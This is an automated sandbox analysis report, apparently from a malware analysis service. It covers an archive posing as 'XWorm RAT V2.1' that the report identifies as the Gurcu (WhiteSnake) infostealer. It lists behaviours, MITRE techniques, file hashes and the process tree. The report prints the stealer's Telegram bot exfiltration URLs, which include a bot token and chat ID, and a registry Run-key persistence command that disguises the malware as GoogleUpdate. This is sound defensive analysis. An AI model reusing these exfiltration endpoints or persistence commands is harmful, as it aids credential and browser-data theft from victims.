gurcu | a7f8482b67e7000865195612c9a3028d0be97af52b4360f784054d5444b0b943

Analysis

max time kernel
599s
max time network
607s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
01-01-2025 03:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

XWorm RAT V2.1.rar
Size

32.3MB
MD5

462d28c33afdd9482d7d10c08febf615
SHA1

04c8a9698de4abea97af69506f5fbdc093539b1a
SHA256

a7f8482b67e7000865195612c9a3028d0be97af52b4360f784054d5444b0b943
SHA512

f047c53c206dae5de7e09d2b3a1dfb169f1bcb2e5a075dbff82c5b8d21c5363cad4cd81b4a3bab61e551c21f6b4e930237639c0b1aaa44da608f93975dbec099
SSDEEP

786432:+LLnQRIjMRfdFZkRNlCVdICz0NMb7X+OwTPntsHx9RiPHQL+Wly:AkhXFZM2VOKDCkxSOA

Score

10^/10

gurcu discovery persistence spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=-1002258988684&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendMessage?chat_id=-1002258988684

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/getUpdates?offset=-

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=-1002258988684&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	XWorm RAT V2.1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	Command Reciever.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	conhost.exe

Executes dropped EXE 4 IoCs

pid	Process
1624	XWorm RAT V2.1.exe
2928	Command Reciever.exe
844	Command Reciever.exe
2424	conhost.exe

Loads dropped DLL 2 IoCs

pid	Process
844	Command Reciever.exe
2424	conhost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\AdobeUpdate\\conhost.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
47	raw.githubusercontent.com
43	raw.githubusercontent.com
44	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
40	ip-api.com

Drops file in System32 directory 12 IoCs

description	ioc	Process
File created	C:\Windows\system32\perfc009.dat	lodctr.exe
File created	C:\Windows\system32\perfc00A.dat	lodctr.exe
File created	C:\Windows\system32\perfc00C.dat	lodctr.exe
File created	C:\Windows\system32\perfh010.dat	lodctr.exe
File created	C:\Windows\system32\perfc007.dat	lodctr.exe
File created	C:\Windows\system32\perfh007.dat	lodctr.exe
File created	C:\Windows\system32\perfh00C.dat	lodctr.exe
File created	C:\Windows\system32\perfc010.dat	lodctr.exe
File created	C:\Windows\system32\perfc011.dat	lodctr.exe
File created	C:\Windows\system32\perfh011.dat	lodctr.exe
File created	C:\Windows\system32\perfh009.dat	lodctr.exe
File created	C:\Windows\system32\perfh00A.dat	lodctr.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
3876	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XWorm RAT V2.1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Command Reciever.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Command Reciever.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Command Reciever.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	conhost.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3616	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1276	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
844	Command Reciever.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2928	Command Reciever.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe
2424	conhost.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
4484	7zFM.exe
2928	Command Reciever.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeRestorePrivilege	4484	7zFM.exe
Token: 35	4484	7zFM.exe
Token: SeSecurityPrivilege	4484	7zFM.exe
Token: SeDebugPrivilege	844	Command Reciever.exe
Token: SeDebugPrivilege	3876	tasklist.exe
Token: SeDebugPrivilege	2424	conhost.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
4484	7zFM.exe
4484	7zFM.exe
2928	Command Reciever.exe
2928	Command Reciever.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2928	Command Reciever.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2424	conhost.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 872	4680	cmd.exe	97
PID 4680 wrote to memory of 872	4680	cmd.exe	97
PID 1624 wrote to memory of 2928	1624	XWorm RAT V2.1.exe	101
PID 1624 wrote to memory of 2928	1624	XWorm RAT V2.1.exe	101
PID 1624 wrote to memory of 2928	1624	XWorm RAT V2.1.exe	101
PID 1624 wrote to memory of 844	1624	XWorm RAT V2.1.exe	102
PID 1624 wrote to memory of 844	1624	XWorm RAT V2.1.exe	102
PID 844 wrote to memory of 468	844	Command Reciever.exe	103
PID 844 wrote to memory of 468	844	Command Reciever.exe	103
PID 468 wrote to memory of 3984	468	cmd.exe	105
PID 468 wrote to memory of 3984	468	cmd.exe	105
PID 468 wrote to memory of 3876	468	cmd.exe	106
PID 468 wrote to memory of 3876	468	cmd.exe	106
PID 468 wrote to memory of 720	468	cmd.exe	107
PID 468 wrote to memory of 720	468	cmd.exe	107
PID 468 wrote to memory of 3616	468	cmd.exe	108
PID 468 wrote to memory of 3616	468	cmd.exe	108
PID 468 wrote to memory of 2424	468	cmd.exe	109
PID 468 wrote to memory of 2424	468	cmd.exe	109
PID 2424 wrote to memory of 3916	2424	conhost.exe	111
PID 2424 wrote to memory of 3916	2424	conhost.exe	111
PID 3916 wrote to memory of 1276	3916	cmd.exe	113
PID 3916 wrote to memory of 1276	3916	cmd.exe	113

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\XWorm RAT V2.1.rar"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4484

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2968

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\XWorm RAT V2.1\Fixer.bat" "
1⤵
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Windows\system32\lodctr.exe
  lodctr /r
  2⤵
  - Drops file in System32 directory
  PID:872

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\XWorm RAT V2.1\Fixer.bat" "
1⤵
PID:1760

C:\Users\Admin\Desktop\XWorm RAT V2.1\XWorm RAT V2.1.exe
"C:\Users\Admin\Desktop\XWorm RAT V2.1\XWorm RAT V2.1.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Users\Admin\Desktop\XWorm RAT V2.1\Command Reciever.exe
  "C:\Users\Admin\Desktop\XWorm RAT V2.1\Command Reciever.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2928
- C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe
  "C:\Users\Admin\AppData\Local\Temp\Command Reciever.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:844
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp8E02.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp8E02.tmp.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:468
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:3984
  - - C:\Windows\system32\tasklist.exe
      Tasklist /fi "PID eq 844"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3876
  - - C:\Windows\system32\find.exe
      find ":"
      4⤵
      PID:720
  - - C:\Windows\system32\timeout.exe
      Timeout /T 1 /Nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3616
  - - C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe
      "C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2424
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v GoogleUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3916
      - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v GoogleUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe /f
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1276

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp8E02.tmp.bat

Filesize
294B

MD5
18d5e77ecaa8fa5221de18f54c6632a9

SHA1
4efb1d83bc684b416d0829bdf0815fab078edaf4

SHA256
bd99a3a31c242388813b4329ea681f69fb1743e0b43cdce3d590321fc4db7391

SHA512
431dc9bb7814f3224725f014af4cf4c932c56ef604d2e9ff03e2cf04831510125dbbf8b483fa6eb5854d99a732db71e081d5aad0646e8d002af6fbdf63d394d8

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\Command Reciever.exe

Filesize
6.5MB

MD5
a21db5b6e09c3ec82f048fd7f1c4bb3a

SHA1
e7ffb13176d60b79d0b3f60eaea641827f30df64

SHA256
67d9b4b35c02a19ab364ad19e1972645eb98e24dcd6f1715d2a26229deb2ccf5

SHA512
7caab4f21c33ef90c1104aa7256504ee40ff0a36525b15eb3d48940862346ccf90a16eef87c06d79b0ffd920beb103ed380eae45df8c9286768890b15ed1067c

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\Fixer.bat

Filesize
122B

MD5
2dabc46ce85aaff29f22cd74ec074f86

SHA1
208ae3e48d67b94cc8be7bbfd9341d373fa8a730

SHA256
a11703fd47d16020fa099a95bb4e46247d32cf8821dc1826e77a971cdd3c4c55

SHA512
6a50b525bc5d8eb008b1b0d704f9942f72f1413e65751e3de83d2e16ef3cf02ef171b9da3fff0d2d92a81daac7f61b379fcf7a393f46e914435f6261965a53b3

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\GeoIP.dat

Filesize
1.0MB

MD5
c8db63170e85b35ce51b5d1aef098708

SHA1
bd8489cc9017bfe308d748b1d62db1f154990acc

SHA256
6c15c5f8e3faec8adf4321fd8f9d62f3f4dd645dafd0f9f6c52b118001654d36

SHA512
4392ec79c297da34b1500799bd07eebbf1ca88b5d1efe80d9cf02d4cd9562ae617854d228876451aa53c5256f9a47b530f481da4cedb4d748b319d69a14e3a7b

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\Resource\data.dat

Filesize
5.6MB

MD5
eb01eece5f0887b24a1bd53183d801dc

SHA1
49e92aee8351e3a995d8ec95bc64d7f381dcee28

SHA256
a2b1012a39662b760415ee897388c862457f4f1672897db8dee67e125bf0ad5c

SHA512
83374fdc381d52b64682df5b96f02cb3d487ce12d9231ede8ee9a92ecf72fa4a0d6f91a04e5f6656cccd50f142dd44bbb08e7ecc94b647e0349064dc32a76839

Download Submit
C:\Users\Admin\Desktop\XWorm RAT V2.1\XWorm RAT V2.1.exe

Filesize
2.2MB

MD5
835f081566e31c989b525bccb943569c

SHA1
71d04e0a86ce9585e5b7a058beb0a43cf156a332

SHA256
ea9258e9975b8925a739066221d996aef19b4ef4f4c91524f82e39d403f25579

SHA512
9ec58f8c586ecf78ef8d75debc5dba58544558566423a634724bb5ab192aaf64f9ccbee9a5af48124a3366b2a7d24b4db71bb5743978201b881c08bad8f6fb0c

Download Submit
C:\Windows\System32\perfc007.dat

Filesize
39KB

MD5
c6a00700213a4cdfac7b02faabc2fa10

SHA1
d1fab1803050a67c59dfce442c1f1dacb166d0dc

SHA256
987d276742eba82260ac1509adc8678651d30103162b44d4e62fbde1b2f28559

SHA512
e3c879502f91b7e4ccbd300372108ffe0cfd2e49070c54f1b27fb83d3c0a7344ea7393b619f1fd6b21314915e32c50fb93f5a1511a383098107c57f1a14faf1d

Download Submit
C:\Windows\System32\perfc00A.dat

Filesize
42KB

MD5
08728aef33bbac5884423c1597e74a29

SHA1
64d28ea3dc5c4392a0210b4d26db146b26e40f0b

SHA256
fbd64fca18300003ddcdddf3b25ad501cf224035ef5975dedc64c7d139eb69e6

SHA512
001cc1ef7a69ce59a9e37133a8cdf14cc8e7a09bc74d4678d9af25da3eaa9d99efc6fdf64fd2e301acb796cef4a988d502b63a61dcce14511568130bb1551a0c

Download Submit
C:\Windows\System32\perfc00C.dat

Filesize
47KB

MD5
0cfd5298e63f44351ebca47f6a491fbe

SHA1
b86c08b13f0e60f664be64cb4077f915f9fc1138

SHA256
562261cc16c6e5e2e3841a1ba79083293baa40330fb5d4f7f62c3553df26ccb3

SHA512
549e5c28598ac2a6b11936aa90f641dfa794c04dd642309d08ef90a683d995d8f2d3a69ee2ecd74adae5beb19e9de055e71670922d738bd985657ffe75ebe235

Download Submit
C:\Windows\System32\perfc010.dat

Filesize
46KB

MD5
afc0429d5050b0057aea0a66a565c61a

SHA1
73f4910cee7b27a049d6dfe291bb6c8a99c6dc8b

SHA256
f6847323dd961aef9230bca3409a01b7c4e5e16dcca8a2e2417c9dc750871cf6

SHA512
a33920642f3ec69c04ff61b09149a57ea91e76bb8d51f1d393a31b5079a3f83939863d6a924bf2a2982786b2825bb634e3d0c0920c7bc0bf6a91e214ef8555bd

Download Submit
C:\Windows\System32\perfc011.dat

Filesize
32KB

MD5
50681b748a019d0096b5df4ebe1eab74

SHA1
0fa741b445f16f05a1984813c7b07cc66097e180

SHA256
33295c7ee1b56a41e809432bc25dd745ba55b2dc91bfa97aa1f55156880cd71a

SHA512
568439b3547dcbcce28499d45663fdd0e2222f6c5c90053769ce2585f65721f679c071393328bde72c9a3f03da4c17abb84b8303897688b59598887ceb31438e

Download Submit
C:\Windows\System32\perfh007.dat

Filesize
298KB

MD5
eadd51b4e0a81aa0a1ec7392a1ce681a

SHA1
f384c3bc0f16ccb5049ebbf7df776e684da84706

SHA256
1a2fd21891c4055b2ee03ee06665f1a09a6503f7a4b57acba67820ec561d12e4

SHA512
de74112ed8f81f4723241102e9e493921419f836e7f095000a0ae34616db1886c22dff6ab4dfd5bd1ebbc9840498c3606ac0e5791f7fadac1b52c18043571ae4

Download Submit
C:\Windows\System32\perfh009.dat

Filesize
310KB

MD5
1ad05e460c6fbb5f7b96e059a4ab6cef

SHA1
1c3e4e455fa0630aaa78a1d19537d5ff787960cf

SHA256
0ae16c72ca5301b0f817e69a4bac29157369ecfbadc6c13a5a37db5901238c71

SHA512
c608aa10b547003b25ff63bb1999a5fff0256aadd8b005fdd26569a9828d3591129a0f21c11ec8e5d5f390b11c49f2ef8a6e36375c9e13d547415e0ec97a398f

Download Submit
C:\Windows\System32\perfh00A.dat

Filesize
360KB

MD5
1402add2a611322eb6f624705c8a9a4e

SHA1
d08b0b5e602d4587e534cf5e9c3d04c549a5aa47

SHA256
0ac43c8e77edb2c1468420653fc5d505b26cdc4da06c4121ce4bbecae561e6cb

SHA512
177d5ea7e77eee154042b5e064db67a5cac9435890a2ff65cd98da21433f4e7de743e9df22ac0ac61be89fc0be8655b46454ed4a930d13fc7c1dfebe5896781f

Download Submit
C:\Windows\System32\perfh00C.dat

Filesize
363KB

MD5
d0a8d13996333367f0e1721ca8658e00

SHA1
f48f432c5a0d3c425961e6ed6291ddb0f4b5a116

SHA256
68a7924621a0fbc13d0ea151617d13732a991cef944aae67d44fc030740a82e9

SHA512
8a68c62b5fc983975d010ae6504a1cbfdf34d5656e3277d9a09eb92929e201e27ca7bd2030740c8240a4afd56af57c223b4fd6de193bedf84ac7238777310de4

Download Submit
C:\Windows\System32\perfh010.dat

Filesize
340KB

MD5
f9fcefdf318c60de1e79166043b85ec4

SHA1
a99d480b322c9789c161ee3a46684f030ec9ad33

SHA256
9c92309f7a11b916d0e9b99f9083f58b1a2fa7a9aad283b064f01c11781160e7

SHA512
881e112fedccc8643d872396baf726ceb7a49c5cce09489ddcb88400b5a4578dd5ee62a4082d81a6c721c74edb00d84d225e08ab892cc094976149a1a2c486d8

Download Submit
C:\Windows\System32\perfh011.dat

Filesize
145KB

MD5
f4f62aa4c479d68f2b43f81261ffd4e3

SHA1
6fa9ff1dbb2c6983afc3d57b699bc1a9d9418daa

SHA256
c2f81f06c86bf118a97fba7772d20d2c4ba92944551cd14e9d9bab40bf22816c

SHA512
cbd94b41fc3136c05981e880e1f854a5847a18708459112ca7eb0bdcb04d0034c42af8c58501a21ae56e07a29751236af9735b0a4ded3a6b0ef57d717acd5ff3

Download Submit
C:\Windows\system32\perfc009.dat

Filesize
122KB

MD5
243bb32f23a8a2fa8113e879d73bfdf7

SHA1
2f9d0154d65d0b8979a1aeb95b6cf43384114f70

SHA256
69012c5b50e669fca5ad692dc405017da474a5a4ec876de70d9748a4f30c046c

SHA512
34f7663ef59412a12ce950eb5ab947b2fb6bb811d5cfd92d05b6a884bcb2fc31fdc880b8e152a383055ca0efee707eb23bbfe181ace8c1ca112262f2a75bf0a8

Download Submit
memory/844-1608-0x0000016B60380000-0x0000016B60922000-memory.dmp

Filesize
5.6MB

Download
memory/844-1618-0x0000016B62520000-0x0000016B6253E000-memory.dmp

Filesize
120KB

Download
memory/844-1614-0x0000016B7ADF0000-0x0000016B7AE66000-memory.dmp

Filesize
472KB

Download
memory/844-1619-0x0000016B60D60000-0x0000016B60D6A000-memory.dmp

Filesize
40KB

Download
memory/1624-1590-0x0000000005770000-0x0000000005D14000-memory.dmp

Filesize
5.6MB

Download
memory/1624-1589-0x0000000000560000-0x00000000007A2000-memory.dmp

Filesize
2.3MB

Download
memory/2424-1657-0x0000024CEC9D0000-0x0000024CEC9E2000-memory.dmp

Filesize
72KB

Download
memory/2424-1636-0x0000024CEC970000-0x0000024CEC9AA000-memory.dmp

Filesize
232KB

Download
memory/2424-1638-0x0000024CED610000-0x0000024CED93E000-memory.dmp

Filesize
3.2MB

Download
memory/2424-1637-0x0000024CEC6A0000-0x0000024CEC6C6000-memory.dmp

Filesize
152KB

Download
memory/2424-1630-0x0000024CEC580000-0x0000024CEC5EA000-memory.dmp

Filesize
424KB

Download
memory/2424-1632-0x0000024CEC5F0000-0x0000024CEC6A2000-memory.dmp

Filesize
712KB

Download
memory/2424-1633-0x0000024CEC6F0000-0x0000024CEC740000-memory.dmp

Filesize
320KB

Download
memory/2424-1634-0x0000024CEC740000-0x0000024CEC762000-memory.dmp

Filesize
136KB

Download
memory/2928-1616-0x0000000005570000-0x000000000557A000-memory.dmp

Filesize
40KB

Download
memory/2928-1603-0x00000000005C0000-0x0000000000C52000-memory.dmp

Filesize
6.6MB

Download
memory/2928-1620-0x00000000089E0000-0x0000000008A46000-memory.dmp

Filesize
408KB

Download
memory/2928-1607-0x00000000054B0000-0x000000000554C000-memory.dmp

Filesize
624KB

Download
memory/2928-1617-0x0000000005850000-0x00000000058A6000-memory.dmp

Filesize
344KB

Download
memory/2928-1615-0x0000000005680000-0x0000000005712000-memory.dmp

Filesize
584KB

Download